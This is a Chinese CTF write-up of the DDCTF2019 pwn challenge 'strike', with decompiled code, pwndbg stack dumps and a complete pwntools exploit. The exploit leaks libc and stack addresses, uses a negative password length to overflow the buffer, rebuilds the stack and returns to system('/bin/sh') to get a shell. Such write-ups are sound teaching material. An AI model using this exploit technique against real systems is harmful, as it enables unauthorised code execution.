DDCTF2019 Pwn strike

源文件、IDA分析文件打包下载:http://file.eonew.cn/ctf/pwn/xpwn.zip

该题主要考验的是对栈的构造能力。在破坏栈的情况下也能使栈继续正常使用。

程序功能介绍

安全防护

ex@Ex:~/test$ checksec xpwn
[*] '/home/ex/test/xpwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

主程序

int __cdecl main(int a1)
{
  int v1; // eax
  char buf; // [esp+0h] [ebp-4Ch]
  size_t nbytes; // [esp+40h] [ebp-Ch]
  int *v5; // [esp+44h] [ebp-8h]

  v5 = &a1;
  setbuf(stdout, 0);
  input_username(stdin, stdout);
  sleep(1u);
  printf("Please set the length of password: ");
  nbytes = get_number();
  if ( (signed int)nbytes > 63 )
  {
    puts("Too long!");
    exit(1);
  }
  printf("Enter password(lenth %u): ", nbytes);
  v1 = fileno(stdin);
  read(v1, &buf, nbytes);
  puts("All done, bye!");
  return 0;
}

get_number()就是从输入流读取一个数字,所以由用户来决定,具体代码可以看鄙人的IDA分析文件。

input_username

int __cdecl input_username(FILE *stdin, FILE *stdout)
{
  int v2; // eax
  char buf; // [esp+0h] [ebp-48h]

  printf("Enter username: ");
  v2 = fileno(stdin);
  read(v2, &buf, 64u);
  return fprintf(stdout, "Hello %s", &buf);
}

直接用read来读取输入流,意味着连\x00截断都没有。

程序有什么漏洞呢?

我们可以通过read函数泄露程序的libc基地址和栈地址。而主函数里面虽然对用户输入的数字有最大检查,却没有负数检查,所以程序存在栈溢出,在配合之前泄露的休息即可getshell。

  1. 泄露libc基地址和栈地址
  2. 构造stack

泄露libc基地址和栈地址

先用gdb调试一下,看看在input_username的栈的信息。

Breakpoint *0x08048610
pwndbg> stack
00:0000│ esp  0xffffcca0 ◂— 0x0
01:0004│      0xffffcca4 —▸ 0xffffccb0 ◂— 0x61616161 ('aaaa')
02:0008│      0xffffcca8 ◂— 0x40 /* '@' */
03:000c│      0xffffccac ◂— 0x0
04:0010│ ecx  0xffffccb0 ◂— 0x61616161 ('aaaa')
05:0014│      0xffffccb4 —▸ 0x804820a ◂— add    byte ptr [eax], al
06:0018│      0xffffccb8 ◂— 0xc2
07:001c│      0xffffccbc ◂— 0x0
pwndbg> 
08:0020│   0xffffccc0 —▸ 0xf7fdf409 (do_lookup_x+9) ◂— add    ebx, 0x1dbf7
09:0024│   0xffffccc4 —▸ 0xf7de3318 ◂— inc    ebx /* 'C,' */
0a:0028│   0xffffccc8 —▸ 0xf7e3e15b (setbuffer+11) ◂— add    edi, 0x16fea5
0b:002c│   0xffffcccc ◂— 0x0
0c:0030│   0xffffccd0 —▸ 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
0d:0034│   0xffffccd4 ◂— 0x0
0e:0038│   0xffffccd8 —▸ 0xffffcd68 ◂— 0x0
0f:003c│   0xffffccdc —▸ 0xf7e44785 (setbuf+21) ◂— add    esp, 0x1c
pwndbg> 
10:0040│      0xffffcce0 —▸ 0xf7faed80 (_IO_2_1_stdout_) ◂— 0xfbad2887
11:0044│      0xffffcce4 ◂— 0x0
12:0048│      0xffffcce8 ◂— 0x2000
13:004c│      0xffffccec —▸ 0xf7e44770 (setbuf) ◂— sub    esp, 0x10
14:0050│      0xffffccf0 —▸ 0xf7faed80 (_IO_2_1_stdout_) ◂— 0xfbad2887
15:0054│      0xffffccf4 —▸ 0xf7ffd940 ◂— 0x0
16:0058│ ebp  0xffffccf8 —▸ 0xffffcd68 ◂— 0x0
17:005c│      0xffffccfc —▸ 0x80486a3 ◂— add    esp, 0x10
pwndbg> p setbuf
$1 = {void (_IO_FILE *, char *)} 0xf7e44770 <setbuf>
pwndbg> p 0xffffccec-0xffffccb0
$2 = 60

从上面的栈可以看出,我们只要填充60个字符,便会溢出后面的值,而且下面的刚好是ebp的值,所以我们能直接确定栈地址。

16:0058ebp  0xffffccf8 —▸ 0xffffcd68 ◂— 0x0

下面是对应的代码

sh.recvuntil('Enter username: ')
sh.send('a' * 60)
sh.recvuntil('a' * 60)
setbuf_addr = sh.recv(4)
sh.recv(4 * 2)
main_ebp_addr = u32(sh.recv(4))
log.success('main_ebp_addr: ' + hex(main_ebp_addr))
libc_addr = u32(setbuf_addr) - libc.symbols['setbuf']
log.success('libc_addr: ' + hex(libc_addr))

构造stack

难点在于溢出时能恢复stack,如果不恢复stack,程序将直接崩溃。

让我们来看看main结尾的汇编代码:

.text:0804873A                 lea     esp, [ebp-8]
.text:0804873D                 pop     ecx
.text:0804873E                 pop     ebx
.text:0804873F                 pop     ebp
.text:08048740                 lea     esp, [ecx-4]
.text:08048743                 retn
.text:08048743 ; } // starts at 8048669
.text:08048743 main            endp

lea esp, [ebp-8]lea esp, [ecx-4]看出,我们必须先计算好相对应的偏移,这里我输入的password是aaaa,下面是调试的代码。

Breakpoint 4, 0x0804873a in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
 EAX  0x0
 EBX  0x8
 ECX  0xf7faedc7 (_IO_2_1_stdout_+71) ◂— 0xfaf8900a
 EDX  0xf7faf890 (_IO_stdfile_1_lock) ◂— 0x0
 EDI  0x0
 ESI  0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
 EBP  0xffffcd68 ◂— 0x0
 ESP  0xffffcd10 ◂— 0x0
 EIP  0x804873a ◂— lea    esp, [ebp - 8]
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
  0x804873a                             lea    esp, [ebp - 8]
   0x804873d                             pop    ecx
   0x804873e                             pop    ebx
   0x804873f                             pop    ebp
   0x8048740                             lea    esp, [ecx - 4]
   0x8048743                             ret    
    
   0xf7deee81 <__libc_start_main+241>    add    esp, 0x10
   0xf7deee84 <__libc_start_main+244>    sub    esp, 0xc
   0xf7deee87 <__libc_start_main+247>    push   eax
   0xf7deee88 <__libc_start_main+248>    call   exit <0xf7e063d0>

   0xf7deee8d <__libc_start_main+253>    mov    edi, dword ptr [esp + 8]
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
20:0080│   0xffffcd80 ◂— 0x1
21:0084│   0xffffcd84 —▸ 0xffffce14 —▸ 0xffffd00b ◂— '/home/ex/test/xpwn'
22:0088│   0xffffcd88 —▸ 0xffffce1c —▸ 0xffffd01e ◂— 'CLUTTER_IM_MODULE=xim'
23:008c│   0xffffcd8c —▸ 0xffffcda4 ◂— 0x0
24:0090│   0xffffcd90 ◂— 0x1
25:0094│   0xffffcd94 ◂— 0x0
26:0098│   0xffffcd98 —▸ 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
27:009c│   0xffffcd9c —▸ 0xf7fe575a (call_init.part+26) ◂— add    edi, 0x178a6
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
  f 0  804873a
   f 1 f7deee81 __libc_start_main+241
Breakpoint *0x0804873A
pwndbg> stack
00:0000│ esp  0xffffcd10 ◂— 0x0
... 
03:000c│      0xffffcd1c ◂— 'aaaa\n'
04:0010│      0xffffcd20 ◂— 0xa /* '\n' */
05:0014│      0xffffcd24 —▸ 0xffffd00b ◂— '/home/ex/test/xpwn'
06:0018│      0xffffcd28 —▸ 0xf7e064a9 (__new_exitfn+9) ◂— add    ebx, 0x1a7b57
07:001c│      0xffffcd2c —▸ 0xf7fb1748 (__exit_funcs_lock) ◂— 0x0
pwndbg> x/wx $ebp-8
0xffffcd08:    0xffffcd60
pwndbg> p 0xffffcd60-0xffffcd1c
$3 = 68
pwndbg> x/wx 0xffffcd60
0xffffcd60:    0xffffcd80
pwndbg> p 0xffffcd80-0xffffcd68
$4 = 24

可以看出password的地址是0xffffcd1c,我们需要恢复的地址是0xffffcd60,上面已经计算出他与password的地址的偏移是68,所以开始的时候要先偏移68('a' * (68))。0xffffcd68ebp,而0xffffcd80为我们需要恢复的值,他和ebp的偏移是24,所以后面加上即可(main_ebp_addr + 24)。

然后直接stepret运行到ret处:

0x08048743 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
 EAX  0x0
 EBX  0x0
 ECX  0xffffcd80 ◂— 0x1
 EDX  0xf7faf890 (_IO_stdfile_1_lock) ◂— 0x0
 EDI  0x0
 ESI  0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
 EBP  0x0
 ESP  0xffffcd7c —▸ 0xf7deee81 (__libc_start_main+241) ◂— add    esp, 0x10
 EIP  0x8048743 ◂— ret    
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
   0x804873a                             lea    esp, [ebp - 8]
   0x804873d                             pop    ecx
   0x804873e                             pop    ebx
   0x804873f                             pop    ebp
   0x8048740                             lea    esp, [ecx - 4]
  0x8048743                             ret             <0xf7deee81; __libc_start_main+241>
    
   0xf7deee81 <__libc_start_main+241>    add    esp, 0x10
   0xf7deee84 <__libc_start_main+244>    sub    esp, 0xc
   0xf7deee87 <__libc_start_main+247>    push   eax
   0xf7deee88 <__libc_start_main+248>    call   exit <0xf7e063d0>

   0xf7deee8d <__libc_start_main+253>    mov    edi, dword ptr [esp + 8]
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ esp  0xffffcd7c —▸ 0xf7deee81 (__libc_start_main+241) ◂— add    esp, 0x10
01:0004│ ecx  0xffffcd80 ◂— 0x1
02:0008│      0xffffcd84 —▸ 0xffffce14 —▸ 0xffffd00b ◂— '/home/ex/test/xpwn'
03:000c│      0xffffcd88 —▸ 0xffffce1c —▸ 0xffffd01e ◂— 'CLUTTER_IM_MODULE=xim'
04:0010│      0xffffcd8c —▸ 0xffffcda4 ◂— 0x0
05:0014│      0xffffcd90 ◂— 0x1
06:0018│      0xffffcd94 ◂— 0x0
07:001c│      0xffffcd98 —▸ 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
  f 0  8048743
   f 1 f7deee81 __libc_start_main+241
pwndbg> p 0xffffcd7c-0xffffcd1c
$5 = 96

0xffffcd1c为我们输入的password字符串的地址,0xffffcd7c为main函数的返回地址,他们的偏移是96,所以我们要精心构建stack,让我们的system函数地址刚好在main函数的返回地址处('a' * (96-68-4)68和4为前面的填充)。

下面是对应的代码

sh.recvuntil('Please set the length of password: ')
sh.sendline('-1')

sh.recvuntil('): ')
system_addr = libc_addr + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))
binsh_addr = libc_addr + libc.search('/bin/sh').next()
log.success('binsh_addr: ' + hex(binsh_addr))
# 恢复栈,避免崩溃
sh.send('a'*(68) + p32(main_ebp_addr + 24) +
        'a'*(96-68-4) + p32(system_addr) + p32(libc_addr + libc.symbols['exit']) + p32(binsh_addr))

p32(libc_addr + libc.symbols['exit'])是为了让程序能够正常退出。

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

elf = ELF('./xpwn')

# 远程getshell
# sh = remote('116.85.48.105',5005)
# libc = ELF('./libc.so.6')

sh = process('./xpwn')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# context.log_level = "debug"

# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

sh.recvuntil('Enter username: ')
sh.send('a' * 60)
sh.recvuntil('a' * 60)
setbuf_addr = sh.recv(4)
sh.recv(4 * 2)
main_ebp_addr = u32(sh.recv(4))
log.success('main_ebp_addr: ' + hex(main_ebp_addr))
libc_addr = u32(setbuf_addr) - libc.symbols['setbuf']
log.success('libc_addr: ' + hex(libc_addr))

sh.recvuntil('Please set the length of password: ')
sh.sendline('-1')

sh.recvuntil('): ')
system_addr = libc_addr + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))
binsh_addr = libc_addr + libc.search('/bin/sh').next()
log.success('binsh_addr: ' + hex(binsh_addr))
# 恢复栈,避免崩溃
sh.send('a'*(68) + p32(main_ebp_addr + 24) +
        'a'*(96-68-4) + p32(system_addr) + 
        p32(libc_addr + libc.symbols['exit']) + 
        p32(binsh_addr) + p32(0))

sh.interactive()

# 删除pid文件
os.system("rm -f pid")

运行实例

ex@Ex:~/test$ ./exp.py 
[*] '/home/ex/test/xpwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Starting local process './xpwn': Done
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] main_ebp_addr: 0xffbf25b8
[+] libc_addr: 0xf7d93000
[+] system_addr: 0xf7dd0200
[+] binsh_addr: 0xf7f110cf
[*] Switching to interactive mode
All done, bye!
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark)
$  

总结

代码审计得到的结果总是会有些许偏差,多上机调试,这样会更快发现漏洞在哪。